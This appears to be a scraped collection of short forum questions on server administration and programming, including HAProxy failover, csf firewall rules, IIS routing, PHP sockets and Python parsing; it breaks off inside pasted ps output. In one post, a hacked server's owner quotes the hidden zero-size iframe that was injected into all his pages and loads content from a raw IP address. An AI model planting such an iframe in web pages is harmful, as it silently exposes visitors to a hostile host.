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• Configuring HAProxy with memcache with failover

  - by Lawrie Matthews

  I'm configuring a new set of servers for an existing Wordpress site, and it's been requested that memcache be available and made more resilient. The idea proposed is to have HAProxy send requests to one of the two servers; if that memcache instance is inaccessible, then it should switch to the second, but should not switch back to the first if it comes back up unless the second is then unavailable. This doesn't appear to be a particularly common use case and I've not found much along these lines except to possibly set up the first node with an enormous rise value, such as: server server1 10.112.58.16:11211 check inter 5s fall 3 rise 99999999 server server2 10.112.58.19:11211 check backup which falls over as expected when server1 is unavailable. It won't ever fall back to server1, though, even if server2 goes offline. Can this be made to work?

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• IIS Seems to Forward Domain/IP to Domain Controller

  - by asinc

  We have a server (Server 1) with Win 2008 that is accessible by RDP and also is set as the primary DNS IP for a domain (example.com). This server is on the same network as an SBS 2008 server (Server 2) which is the domain controller and internal Dns server. Web requests going to example.com with IP of Server 1 are being passed to Server 2 and served up by IIS from Server 2. What causes this to happen? Is there a safe way to have Server 1 IIS handle the web requests which was our expected outcome? Example: DNS entry on ISP: example.com = 111.111.111.111 Server 1 = 111.111.111.111 Server 2 = 111.111.111.112 Web user goes to example.com in browser, and the page is actually returned from 111.111.111.112?

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• MySQL port 3306 blocked in csf yet can still telnet to port 3306 from external host

  - by Neek

  We have a Centos 6 VPS that was recently migrated to a new machine within the same web hosting company. It's running WHM/cPanel and has csf/lfd installed. csf is set up with mostly vanilla config. I'm no iptables expert, csf has not let me down before. If a port isn't in the TCP_IN list, it should be blocked on the firewall by iptables. My problem is that I can telnet to port 3306 from an external host, yet I think iptables ought to be blocking 3306 because of csf's rules. We are now failing a security check because of this open port. (this output is obfuscated to protect the innocent: www.ourhost.com is the host with the firewall problem) [root@nickfenwick log]# telnet www.ourhost.com 3306 Trying 158.255.45.107... Connected to www.ourhost.com. Escape character is '^]'. HHost 'nickfenwick.com' is not allowed to connect to this MySQL serverConnection closed by foreign host. So the connection is established, and MySQL refuses the connection due to its configuration. I need the network connection to be refused at the firewall level, before it reaches MySQL. Using WHM's csf web UI I can see 'Firewall Configuration' includes a fairly sensible TCP_IN line: TCP_IN: 20,21,22,25,53,80,110,143,222,443,465,587,993,995,2077,2078,2082,2083,2086,2087,2095,2096,8080 (lets ignore that I could trim that a little for now, my concern is that 3306 is not listed in that list) When csf is restarted it logs the usual slew of output as it sets up iptables rules, for example what looks like it blocking all traffic and then allowing specific ports like SSH on 22: [cut] DROP all opt -- in * out * 0.0.0.0/0 -> 0.0.0.0/0 [cut] ACCEPT tcp opt -- in !lo out * 0.0.0.0/0 -> 0.0.0.0/0 state NEW tcp dpt:22 [cut] I can see that iptables is running, service iptables status returns a long list of firewall rules. Here is my Chain INPUT section from service iptables status, hopefully that's enough to show how the firewall is configured. Table: filter Chain INPUT (policy DROP) num target prot opt source destination 1 acctboth all -- 0.0.0.0/0 0.0.0.0/0 2 ACCEPT tcp -- 217.112.88.10 0.0.0.0/0 tcp dpt:53 3 ACCEPT udp -- 217.112.88.10 0.0.0.0/0 udp dpt:53 4 ACCEPT tcp -- 217.112.88.10 0.0.0.0/0 tcp spt:53 5 ACCEPT udp -- 217.112.88.10 0.0.0.0/0 udp spt:53 6 ACCEPT tcp -- 8.8.4.4 0.0.0.0/0 tcp dpt:53 7 ACCEPT udp -- 8.8.4.4 0.0.0.0/0 udp dpt:53 8 ACCEPT tcp -- 8.8.4.4 0.0.0.0/0 tcp spt:53 9 ACCEPT udp -- 8.8.4.4 0.0.0.0/0 udp spt:53 10 ACCEPT tcp -- 8.8.8.8 0.0.0.0/0 tcp dpt:53 11 ACCEPT udp -- 8.8.8.8 0.0.0.0/0 udp dpt:53 12 ACCEPT tcp -- 8.8.8.8 0.0.0.0/0 tcp spt:53 13 ACCEPT udp -- 8.8.8.8 0.0.0.0/0 udp spt:53 14 LOCALINPUT all -- 0.0.0.0/0 0.0.0.0/0 15 ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 16 INVALID tcp -- 0.0.0.0/0 0.0.0.0/0 17 ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED 18 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:20 19 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:21 20 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:22 21 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:25 22 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:53 23 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:80 24 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:110 25 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:143 26 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:222 27 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:443 28 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:465 29 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:587 30 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:993 31 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:995 32 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:2077 33 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:2078 34 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:2082 35 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:2083 36 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:2086 37 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:2087 38 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:2095 39 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:2096 40 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:8080 41 ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 state NEW udp dpt:20 42 ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 state NEW udp dpt:21 43 ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 state NEW udp dpt:53 44 ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 state NEW udp dpt:222 45 ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 state NEW udp dpt:8080 46 ACCEPT icmp -- 0.0.0.0/0 0.0.0.0/0 icmp type 8 47 ACCEPT icmp -- 0.0.0.0/0 0.0.0.0/0 icmp type 0 48 ACCEPT icmp -- 0.0.0.0/0 0.0.0.0/0 icmp type 11 49 ACCEPT icmp -- 0.0.0.0/0 0.0.0.0/0 icmp type 3 50 LOGDROPIN all -- 0.0.0.0/0 0.0.0.0/0 What's the next thing to check?

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• Kickstart installation: Unable to read package metadata.

  - by yacov

  I'm trying to install a CentOS OS with kickstart using HTTP as the installation source. The kickstart server and the installed server are both running on VMs on the same machine. after the anaconda system installer starts it fails with the following message: I tried installing two different versions of Centos(5.5 and 5.2), and they both pass a CDROM media test the manual installation provides. The only errors on the kickstart server side are some errors in the httpd log I consider irrelevant: [Sat Mar 12 23:25:19 2011] [error] [client 192.168.1.112] File does not exist: /tftpboot/linux-install/platforms/CentOS5.5/images/product.img [Sat Mar 12 23:25:19 2011] [error] [client 192.168.1.112] File does not exist: /tftpboot/linux-install/platforms/CentOS5.5/disc1 I tried searching the internet for days and haven't found any solution... Does anyone have any idea?

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• Are random packets normal?

  - by TheLQ

  About a month ago on one of my servers I started receiving random packets from IPs all over the world. So I did the smart thing and stopped putting off installing an IDS. This IDS is a ClearOS Gateway which comes with Snort and SnortSam. I enabled it, checked There is a total of 4 ports open, two of which forward to the server I'm talking about. These ports are 3724 and 8085, so they aren't going to be easily detected in a port scan. However checking some logs of this server I found that the attack is resuming. I found this ... Accepting connection from '75.166.155.122' [Auth] got unknown packet from '75.166.155.122' Accepting connection from '98.164.154.93' [Auth] got unknown packet from '98.164.154.93' Ping MySQL to keep connection alive Accepting connection from '70.241.195.129' [Auth] got unknown packet from '70.241.195.129' Accepting connection from '67.182.229.169' [Auth] got unknown packet from '67.182.229.169' Accepting connection from '69.137.140.38' [Auth] got unknown packet from '69.137.140.38' Accepting connection from '76.31.72.55' [Auth] got unknown packet from '76.31.72.55' Accepting connection from '97.88.139.39' [Auth] got unknown packet from '97.88.139.39' Accepting connection from '173.35.62.112' [Auth] got unknown packet from '173.35.62.112' Accepting connection from '187.15.10.73' [Auth] got unknown packet from '187.15.10.73' Accepting connection from '66.66.94.124' [Auth] got unknown packet from '66.66.94.124' Accepting connection from '75.159.219.124' [Auth] got unknown packet from '75.159.219.124' Accepting connection from '99.102.100.82' [Auth] got unknown packet from '99.102.100.82' Accepting connection from '24.128.240.45' [Auth] got unknown packet from '24.128.240.45' Accepting connection from '99.231.7.39' [Auth] got unknown packet from '99.231.7.39' Accepting connection from '206.255.79.56' [Auth] got unknown packet from '206.255.79.56' Accepting connection from '68.97.106.235' [Auth] got unknown packet from '68.97.106.235' Accepting connection from '69.134.67.251' [Auth] got unknown packet from '69.134.67.251' Accepting connection from '63.228.138.186' [Auth] got unknown packet from '63.228.138.186' Accepting connection from '184.39.146.193' [Auth] got unknown packet from '184.39.146.193' Accepting connection from '69.171.161.102' [Auth] got unknown packet from '69.171.161.102' Accepting connection from '76.0.47.228' [Auth] got unknown packet from '76.0.47.228' Ping MySQL to keep connection alive Accepting connection from '126.112.201.14' [Auth] got unknown packet from '126.112.201.14' Ping MySQL to keep connection alive Now that scares me. Why isn't Snort detecting this? How were they able to find this specific port? More importantly, what normally would these packets contain? Is this something I should be worried about? How can I stop this?

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• Creating a FAT file system and save it into a file in GNU/linux?

  - by RubenT

  I tell you my problem: I want to create a FAT file system and save it into a so I can mount it in linux using something like: sudo mount -t msdos <file> <dest_folder> Maybe I'm wrong and this cannot be done. Anyway, the problem is this: I'm trying to create the file containing a FAT file system, and I'm running this command: sudo mkfs.vfat -F 32 -r 112 -S 512 -v -C "test.fat" 100 That, accordingly to the mkfs man page, will create a FAT32 file system with 112 rootdir entries, logical sector size of 512 bytes, 100 blocks in total, and save it into "test.fat". But it fails, and the bash tells me: mkfs.vfat: unable to create test.fat What is going on? I think I am misunderstanding how mkfs works and how to use it. It is possible to write a filesystem into a file?

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• Set up new dedicated server

  - by aldo

  I'm a newbie. I just bought a new dedicated server which running windows server 2008 r2 and have an ip for example 128.98.34.112. I bought a domain xyz.com without hosting from godaddy.com and i want to host it to my new server. in godaddy.com i already follow this steps http://www.webhostingtalk.com/showthread.php?t=237604. i also have installed plesk in my new server and create a domain with the name xyz.com and set the A record for xyz.com to 128.98.34.112, and set the NS record to ns1.xyz.com and ns2.xyz.com. But until now i still can not open the xyz.com from browser. Whats wrong? Do I need to install active directory to host a domain? thanks

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• Exception Handling

  - by raghu.yadav

  Here is the few links on which andre had demonstrateddifferences-of-handling-jboexception-in handling-exceptions-in-oracle-ui-shell However in this post we can see how to display exception in popup being in the same page. I use similar usecase as andre however we'll not be using Exception Handling property from taskflow, instead we use popup and invoke the same programmatically. This is a dynamic region example where user can select jobs or locations links to edit the records of corresponding tables being in the same page and click commit to save changes. To generate exception we deliberately change commit to CommitAction in commit action binding code created in the bean (same as andre) and catch the exception and add brief description of exception into #{pageFlowScope.message}. Drop Popup component after Commit button and add dialog within in popup button, bind the popup component to backing bean and invoke the same in catch clause as shown below. public String Commit() { try{ BindingContainer bindings = getBindings(); OperationBinding operationBinding = bindings.getOperationBinding("CommitAction"); Object result = operationBinding.execute(); if (!operationBinding.getErrors().isEmpty()) { return null; } }catch (NullPointerException e) { setELValue("#{pageFlowScope.message}", "NullPointerException..."); e.printStackTrace(); String popupId = this.getPopup().getClientId(FacesContext.getCurrentInstance()); PatternsPublicUtil.invokePopup(popupId); } return null; } } private void setELValue(String el, String value) { FacesContext facesContext = FacesContext.getCurrentInstance(); ELContext elContext = facesContext.getELContext(); ExpressionFactory expressionFactory = facesContext.getApplication().getExpressionFactory(); ValueExpression valueExp = expressionFactory.createValueExpression(elContext, el, Object.class); valueExp.setValue(elContext, value); } .

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• How to generate Perlin Noise on an iPhone

  - by Andre

  Hi, I want to create an animated perlin noise on the iPhone, so I can ultimately do something like this: http://dl.dropbox.com/u/1977230/example.png I've looked and looked, but can't find anything similar or a way to actually display a Perlin Noise. I've been told to look at OpenGL ES, but even searching for an example of Perlin noise or a lava/plasma effect doesn't result in anything. I'd really appreciate some help on this one. Thanks guys, Andre

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• How to create an image from a UIView / UIScrollView

  - by Andre

  Hi, I have an image in an UIScrollView, that can be scrolled and zoomed. When the user presses a button, I want the code to create an image from whatever part of the UIScrollView is inside an area I specify with a CGRect. I've seen code to crop UIImages, but I can't adapt it to do the same for a view, because it uses CGContextDrawImage. Any thoughts? Cheers, Andre

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• How to grant AllPermission to not extracted war file in tomcat

  - by André

  Hello, I'm developing a web application and have created a war file. If I deploy it to my tomcat server, it is used without being unpacked (which is the setting I want to have for this server). For unpacked web apps I have a policy file to grant AllPermission to my application grant codeBase "file:${catalina.base}/webapps/tc/-" { permission java.security.AllPermission; }; But what has the codeBase to be for unpacked war files? Thanks, André

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• Haars Cascade for Actionscript development

  - by Andre

  Hi guys, I have an object that I want to be able to recognize in AS3. There's a port of OpenCV for AS3 already, that works with Haars cascades, so now I need to create a cascade of my object. From what I've read, I'll have to create an XML of several images (positive and negative), but I can't find a program that'll do that for Mac OS X. Is there anything I can use that'll generate that XML on Mac OS X? Cheers, Andre

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• PHP: Can pcntl_alarm() and socket_select() peacefully exist in the same thread?

  - by DWilliams

  I have a PHP CLI script mostly written that functions as a chat server for chat clients to connect to (don't ask me why I'm doing it in PHP, thats another story haha). My script utilizes the socket_select() function to hang execution until something happens on a socket, at which point it wakes up, processes the event, and waits until the next event. Now, there are some routine tasks that I need performed every 30 seconds or so (check of tempbanned users should be unbanned, save user databases, other assorted things). From what I can tell, PHP doesn't have very great multi-threading support at all. My first thought was to compare a timestamp every time the socket generates an event and gets the program flowing again, but this is very inconsistent since the server could very well sit idle for hours and not have any of my cleanup routines executed. I came across the PHP pcntl extensions, and it lets me use assign a time interval for SIGALRM to get sent and a function get executed every time it's sent. This seems like the ideal solution to my problem, however pcntl_alarm() and socket_select() clash with each other pretty bad. Every time SIGALRM is triggered, all sorts of crazy things happen to my socket control code. My program is fairly lengthy so I can't post it all here, but it shouldn't matter since I don't believe I'm doing anything wrong code-wise. My question is: Is there any way for a SIGALRM to be handled in the same thread as a waiting socket_select()? If so, how? If not, what are my alternatives here? Here's some output from my program. My alarm function simply outputs "Tick!" whenever it's called to make it easy to tell when stuff is happening. This is the output (including errors) after allowing it to tick 4 times (there were no actual attempts at connecting to the server despite what it says): [05-28-10 @ 20:01:05] Chat server started on 192.168.1.28 port 4050 [05-28-10 @ 20:01:05] Loaded 2 users from file PHP Notice: Undefined offset: 0 in /home/danny/projects/PHPChatServ/ChatServ.php on line 112 PHP Warning: socket_select(): unable to select [4]: Interrupted system call in /home/danny/projects/PHPChatServ/ChatServ.php on line 116 [05-28-10 @ 20:01:15] Tick! PHP Warning: socket_accept(): unable to accept incoming connection [4]: Interrupted system call in /home/danny/projects/PHPChatServ/ChatServ.php on line 126 [05-28-10 @ 20:01:25] Tick! PHP Warning: socket_getpeername() expects parameter 1 to be resource, boolean given in /home/danny/projects/PHPChatServ/ChatServ.php on line 129 [05-28-10 @ 20:01:25] Accepting socket connection from PHP Notice: Undefined offset: 1 in /home/danny/projects/PHPChatServ/ChatServ.php on line 112 PHP Warning: socket_select(): unable to select [4]: Interrupted system call in /home/danny/projects/PHPChatServ/ChatServ.php on line 116 [05-28-10 @ 20:01:35] Tick! PHP Warning: socket_accept(): unable to accept incoming connection [4]: Interrupted system call in /home/danny/projects/PHPChatServ/ChatServ.php on line 126 [05-28-10 @ 20:01:45] Tick! PHP Warning: socket_getpeername() expects parameter 1 to be resource, boolean given in /home/danny/projects/PHPChatServ/ChatServ.php on line 129 [05-28-10 @ 20:01:45] Accepting socket connection from PHP Notice: Undefined offset: 2 in /home/danny/projects/PHPChatServ/ChatServ.php on line 112

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• Twitter4J throws exception in TwitterFactory

  - by Philipp Andre

  Hello Guys, i'm trying to access twitter via oauth. Therefore, i registered my app, downloaded Twitter4j, added the jars in my Eclipse-Project, and then tried to execute the following code: Twitter twitter = new TwitterFactory().getOAuthAuthorizedInstance("[key]","[secretKey]); RequestToken requestToken = twitter.getOAuthRequestToken(); System.out.println(requestToken.getAuthorizationURL()); But it raises the following exception: [Sat May 29 11:19:11 CEST 2010]Using class twitter4j.internal.logging.StdOutLoggerFactory as logging factory. [Sat May 29 11:19:11 CEST 2010]Use twitter4j.internal.http.alternative.HttpClientImpl as HttpClient implementation. Exception in thread "main" java.lang.AssertionError: java.lang.reflect.InvocationTargetException at twitter4j.internal.http.HttpClientFactory.getInstance(HttpClientFactory.java:71) at twitter4j.internal.http.HttpClientWrapper.<init>(HttpClientWrapper.java:59) at twitter4j.http.OAuthAuthorization.init(OAuthAuthorization.java:83) at twitter4j.http.OAuthAuthorization.<init>(OAuthAuthorization.java:74) at twitter4j.TwitterFactory.getOAuthAuthorizedInstance(TwitterFactory.java:112) at MainProgram.main(MainProgram.java:18) Caused by: java.lang.reflect.InvocationTargetException at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at sun.reflect.NativeConstructorAccessorImpl.newInstance(Unknown Source) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(Unknown Source) at java.lang.reflect.Constructor.newInstance(Unknown Source) at twitter4j.internal.http.HttpClientFactory.getInstance(HttpClientFactory.java:65) ... 5 more Caused by: java.lang.NoClassDefFoundError: org/apache/http/impl/client/DefaultHttpClient at twitter4j.internal.http.alternative.HttpClientImpl.<init>(HttpClientImpl.java:63) ... 10 more I currently can't figure out why ... can you please give me some suggestions? Best regards Philipp

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• Derived Column Editor

  - by Rob Bowman

  Hi I need to assign a formatted date to a column in a data flow. I have added a Derived Column editor and entered the following expression: "BBD" + SUBSTRING((DT_WSTR,4)DATEADD("Day",30,GETDATE()),1,4) + SUBSTRING((DT_WSTR,2)DATEADD("Day",30,GETDATE()),6,2) + SUBSTRING((DT_WSTR,2)DATEADD("Day",30,GETDATE()),9,2) The problem is that the "Derived Column Transformation Editor" automatically assigns a Data Type of "Unicode string[DT_WSTR]" and a length of "7". Howver, the length of a string is 11, therefore the following exception is thrown each time: [Best Before Date [112]] Error: The "component "Best Before Date" (112)" failed because truncation occurred, and the truncation row disposition on "output column "Comments" (132)" specifies failure on truncation. A truncation error occurred on the specified object of the specified component. Does anyone know why the edit is insisting on a length of 7? I don't seem to be able to change this. Many thanks, Rob.

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• File not readable exception - pear/Config_Lite

  - by CasperNine

  I have two config files located in: /etc/svnauth and var/www/svnauth I have given read, write access to for both files like shown below chown -R apache:apache /etc/svnauth chmod -R 770 /etc/svnauth chown -R apache:apache /var/www/svnauth chmod -R 770 /var/www/svnauth When I try to read these two files using pear/Config_Lite, /etc/svnauth always fails. I can successfully read the /var/www/svnauth file Any reasons for this? What am I missing here Following is the error message i get: Fatal error: Uncaught exception 'Config_Lite_Exception_Runtime' with message 'file not readable: /etc/svnauth' in /var/www/html/svnmanager/Config/Lite.php:112 Stack trace: #0 /var/www/html/svnmanager/index.php(60): Config_Lite->read('/etc/svnauth') #1 {main} thrown in /var/www/html/svnmanager/Config/Lite.php on line 112

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• How do you diagnose a 500 error on Heroku when there is no error message in the logs?

  - by lala

  I have a Rails app on Heroku that is serving 500 errors at random intervals. Web pages will display "Internal server error" in plain text, instead of the usual "We're sorry. Something went wrong." page. When I refresh the page, it works fine. The logs don't show me an error message, just » 14:20:34.107 2013-10-11 12:20:33.763690+00:00 heroku router - - at=info method=HEAD path=/ host=www.mydomain.com fwd="184.73.237.85/ec2-184-73-237-85.compute-1.amazonaws.com" dyno=web.1 connect=1ms service=63ms status=200 bytes=0 » 14:21:03.957 2013-10-11 12:21:03.561867+00:00 heroku router - - at=info method=GET path=/ host=www.mydomain.com fwd="50.112.95.211/ec2-50-112-95-211.us-west-2.compute.amazonaws.com" dyno=web.1 connect=0ms service=1ms status=500 bytes=21 Support has told me to look at request queuing in New Relic, but New Relic only shows a big red mark saying the server is down (even though the site works fine when refreshed). With no error messages, I'm at a loss for how to diagnose this issue.

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• Problems with mod_rewrite and 301 redirects from one dynamic url to another

  - by user349891

  Hey all, I'm having all kinds of problems with a bunch of apache redirects just now and could really use some help! I'm wating to put in a 301 redirect for a load of urls from a client's old site to their new site in the following format; Old - page.php?pageNum_rs_all=0&totalRows_rs_all=112 New - page/sub?foo=bar The values in the query sting for the old site don't in any way tie up to any ids or references on the new site, I only want to match that specific request and redirect to the new page. It feels like I've tried just about every combination of rewriterule I can find online but still nothing seems to be working. This is running on Apache 2.2. The rule I started with (and keep going back to) is; RewriteRule ^/page.php\?pageNum_rs_all=0&totalRows_rs_all=112 /page/sub?foo=bar [R=301,L,NE] Any help would be greatly appreciated! c.

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• Using Python read specific (column, row) values from a txt file

  - by user2955708

  I would like to read values from a text file until that is a float value. Lets say I have the following file: 14:53:55 Load 300 Speed 200 Distance,m Fz Fx Speed 0.0000 249 4 6.22 0.0002 247 33 16.29 0.0004 246 49 21.02 0.2492 240 115 26.97 0.2494 241 112 21.78 0.2496 240 109 13.09 0.2498 169 79 0.27 Distance,m Fz Fx Speed 0.0000 249 4 7.22 0.0002 247 33 1.29 0.0004 246 49 271.02 0.2492 240 115 26.97 0.2494 241 112 215.78 0.2496 240 109 13.09 0.2498 169 79 0.27 And I need only the values under the first Distance column. So something like skip the first few rows, then read values from the first column while it is float. Thanks your help in advance

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• read from file and add numbers

  - by Laks

  I have text file with entries like 123 112 3333 44 2 How to add these numbers and get the sum of these.

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• Multiply with negative integer just by shifting.

  - by stex

  Hi, I'm trying to find a way to multiply an integer value with negative value just with bit shifting. Usually I do this by shifting with the power of 2 which is closest to my factor and just adding / subtracting the rest, e.g. x * 7 = ((x << 3) - x) Let's say I'd want to calculate x * -112. The only way I can imagine is -((x << 7) - (x << 4), so to calculate x * 112 and negate it afterwards. Is there a "prettier" way to do this?

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• python: creating a list inside a dictionary

  - by user1871081

  I just started using python and I'm trying to create a program that will read a file that looks like this: AAA x 111 AAB x 111 AAA x 112 AAC x 123 ... the file is 50 lines long and I'm trying to make the letters into keys in a dictionary and the numbers lists that correspond with the keys. I want the output to look like this: {AAA: ['111', '112'], AAB: ['111'], AAC: [123], ...} This is what I've tried file = open("filename.txt", "r") readline = file.readline().rstrip() while readline!= "": list = [] list = readline.split(" ") j = list.index("x") k = list[0:j] v = list[p + 1:] d = {} if k in d == False d[k] = [] d[k].append(v) else d[k].append(v) readline = file.readline().rstrip() I keep getting syntax errors on my if statement and I can't figure out what I've done wrong.

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• IIS 7 Serving all pages with an injected iframe [closed]

  - by Andre Carlucci

  Possible Duplicate: My server's been hacked EMERGENCY My VPS just got hacked an all my pages are being served with an malicious iframe injected just before the html tag. The code is like this: <iframe src= http://117.21.247.171:700/1.htm width=0 height=0></iframe> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pt-BR"> ... Firstly I thought it could be something related with wordpress, but my asp.net sites are also infected and even if I create a static html file with nothing inside, the iframe is injected. I'm using a Windows Server 2008 R2 Standard with IIS7.5 7600. Please, I'm trying to find the source of this for hours now, any help would be really appreciated. EDIT: Hey, why was this closed? I'm very interested to know how that be done in IIS instead of simply re-installing everything. Andre

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• Where is all the memory being consumed?

  - by Mark L

  Hello, I have a Dell R300 Ubuntu 9.10 box with 4GB of memory. All I'm running on there is haproxy, nagios and postfix yet there is ~2.7GB of memory being consumed. I've run ps and I can't get the sums to add up. Could anyone shed any light on where all the memory is being used? Cheers, Mark $ sudo free -m total used free shared buffers cached Mem: 3957 2746 1211 0 169 2320 -/+ buffers/cache: 256 3701 Swap: 6212 0 6212 Sorry for pasting all of ps' output but I'm keen to get to the bottom of this. $ sudo ps aux [sudo] password for mark: USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 19320 1656 ? Ss May20 0:05 /sbin/init root 2 0.0 0.0 0 0 ? S< May20 0:00 [kthreadd] root 3 0.0 0.0 0 0 ? S< May20 0:00 [migration/0] root 4 0.0 0.0 0 0 ? S< May20 0:16 [ksoftirqd/0] root 5 0.0 0.0 0 0 ? S< May20 0:00 [watchdog/0] root 6 0.0 0.0 0 0 ? S< May20 0:03 [migration/1] root 7 0.0 0.0 0 0 ? S< May20 3:10 [ksoftirqd/1] root 8 0.0 0.0 0 0 ? S< May20 0:00 [watchdog/1] root 9 0.0 0.0 0 0 ? S< May20 0:00 [migration/2] root 10 0.0 0.0 0 0 ? S< May20 0:19 [ksoftirqd/2] root 11 0.0 0.0 0 0 ? S< May20 0:00 [watchdog/2] root 12 0.0 0.0 0 0 ? S< May20 0:01 [migration/3] root 13 0.0 0.0 0 0 ? S< May20 0:41 [ksoftirqd/3] root 14 0.0 0.0 0 0 ? S< May20 0:00 [watchdog/3] root 15 0.0 0.0 0 0 ? S< May20 0:03 [events/0] root 16 0.0 0.0 0 0 ? S< May20 0:10 [events/1] root 17 0.0 0.0 0 0 ? S< May20 0:08 [events/2] root 18 0.0 0.0 0 0 ? S< May20 0:08 [events/3] root 19 0.0 0.0 0 0 ? S< May20 0:00 [cpuset] root 20 0.0 0.0 0 0 ? S< May20 0:00 [khelper] root 21 0.0 0.0 0 0 ? S< May20 0:00 [netns] root 22 0.0 0.0 0 0 ? S< May20 0:00 [async/mgr] root 23 0.0 0.0 0 0 ? S< May20 0:00 [kintegrityd/0] root 24 0.0 0.0 0 0 ? S< May20 0:00 [kintegrityd/1] root 25 0.0 0.0 0 0 ? S< May20 0:00 [kintegrityd/2] root 26 0.0 0.0 0 0 ? S< May20 0:00 [kintegrityd/3] root 27 0.0 0.0 0 0 ? S< May20 0:00 [kblockd/0] root 28 0.0 0.0 0 0 ? S< May20 0:01 [kblockd/1] root 29 0.0 0.0 0 0 ? S< May20 0:04 [kblockd/2] root 30 0.0 0.0 0 0 ? S< May20 0:02 [kblockd/3] root 31 0.0 0.0 0 0 ? S< May20 0:00 [kacpid] root 32 0.0 0.0 0 0 ? S< May20 0:00 [kacpi_notify] root 33 0.0 0.0 0 0 ? S< May20 0:00 [kacpi_hotplug] root 34 0.0 0.0 0 0 ? S< May20 0:00 [ata/0] root 35 0.0 0.0 0 0 ? S< May20 0:00 [ata/1] root 36 0.0 0.0 0 0 ? S< May20 0:00 [ata/2] root 37 0.0 0.0 0 0 ? S< May20 0:00 [ata/3] root 38 0.0 0.0 0 0 ? S< May20 0:00 [ata_aux] root 39 0.0 0.0 0 0 ? S< May20 0:00 [ksuspend_usbd] root 40 0.0 0.0 0 0 ? S< May20 0:00 [khubd] root 41 0.0 0.0 0 0 ? S< May20 0:00 [kseriod] root 42 0.0 0.0 0 0 ? S< May20 0:00 [kmmcd] root 43 0.0 0.0 0 0 ? S< May20 0:00 [bluetooth] root 44 0.0 0.0 0 0 ? S May20 0:00 [khungtaskd] root 45 0.0 0.0 0 0 ? S May20 0:00 [pdflush] root 46 0.0 0.0 0 0 ? S May20 0:09 [pdflush] root 47 0.0 0.0 0 0 ? S< May20 0:00 [kswapd0] root 48 0.0 0.0 0 0 ? S< May20 0:00 [aio/0] root 49 0.0 0.0 0 0 ? S< May20 0:00 [aio/1] root 50 0.0 0.0 0 0 ? S< May20 0:00 [aio/2] root 51 0.0 0.0 0 0 ? S< May20 0:00 [aio/3] root 52 0.0 0.0 0 0 ? S< May20 0:00 [ecryptfs-kthrea] root 53 0.0 0.0 0 0 ? S< May20 0:00 [crypto/0] root 54 0.0 0.0 0 0 ? S< May20 0:00 [crypto/1] root 55 0.0 0.0 0 0 ? S< May20 0:00 [crypto/2] root 56 0.0 0.0 0 0 ? S< May20 0:00 [crypto/3] root 70 0.0 0.0 0 0 ? S< May20 0:00 [scsi_eh_0] root 71 0.0 0.0 0 0 ? S< May20 0:00 [scsi_eh_1] root 74 0.0 0.0 0 0 ? S< May20 0:00 [scsi_eh_2] root 75 0.0 0.0 0 0 ? S< May20 0:00 [scsi_eh_3] root 82 0.0 0.0 0 0 ? S< May20 0:00 [kstriped] root 83 0.0 0.0 0 0 ? S< May20 0:00 [kmpathd/0] root 84 0.0 0.0 0 0 ? S< May20 0:00 [kmpathd/1] root 85 0.0 0.0 0 0 ? S< May20 0:00 [kmpathd/2] root 86 0.0 0.0 0 0 ? S< May20 0:00 [kmpathd/3] root 87 0.0 0.0 0 0 ? S< May20 0:00 [kmpath_handlerd] root 88 0.0 0.0 0 0 ? S< May20 0:00 [ksnapd] root 89 0.0 0.0 0 0 ? S< May20 0:00 [kondemand/0] root 90 0.0 0.0 0 0 ? S< May20 0:00 [kondemand/1] root 91 0.0 0.0 0 0 ? S< May20 0:00 [kondemand/2] root 92 0.0 0.0 0 0 ? S< May20 0:00 [kondemand/3] root 93 0.0 0.0 0 0 ? S< May20 0:00 [kconservative/0] root 94 0.0 0.0 0 0 ? S< May20 0:00 [kconservative/1] root 95 0.0 0.0 0 0 ? S< May20 0:00 [kconservative/2] root 96 0.0 0.0 0 0 ? S< May20 0:00 [kconservative/3] root 97 0.0 0.0 0 0 ? S< May20 0:00 [krfcommd] root 315 0.0 0.0 0 0 